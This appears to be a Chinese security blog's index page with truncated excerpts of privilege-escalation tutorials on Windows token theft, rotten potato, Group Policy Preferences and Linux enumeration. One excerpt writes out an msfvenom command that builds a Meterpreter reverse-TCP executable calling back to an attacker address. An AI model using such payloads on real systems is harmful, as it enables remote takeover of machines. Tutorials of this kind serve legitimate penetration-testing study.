
权限提升篇-令牌窃取与烂土豆提权
误区 当前我获得了一个普通域用户权限的shell,利用令牌窃取进行提权,提权到管理员权限。哈哈,提权好简单。胡扯! 看了很多博客,其中几篇文章就这样带有误导性地写,这样不好吧。 访问令牌的定义 描述进程或者线程安全上下文的一个对象。不同的用...
误区 当前我获得了一个普通域用户权限的shell,利用令牌窃取进行提权,提权到管理员权限。哈哈,提权好简单。胡扯! 看了很多博客,其中几篇文章就这样带有误导性地写,这样不好吧。 访问令牌的定义 描述进程或者线程安全上下文的一个对象。不同的用...
组策略首选项提权 Windows 2008 Server引入了一项称为组策略首选项的新功能,该功能使管理员可以部署影响域中计算机/用户的特定配置。通过在组策略管理控制台中配置的组策略首选项,管理员可以推出多种策略,例如,当用户登录其计算机时...
记录一下关于Linux提权相关的命令 获取系统信息 cat /etc/issue 查看发行版 cat /etc/*-release 查看发行版 cat /proc/version uname -a 查看内核版本 rpm -q kernel ...
上线 先利用命令生成一个马: msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.234.151 lport=2345 -f exe >hackergugu.exe 然后...
exploitdb Exploit Database(https://github.com/offensive-security/exploit-database)这是Offensive Security(https://www.offen...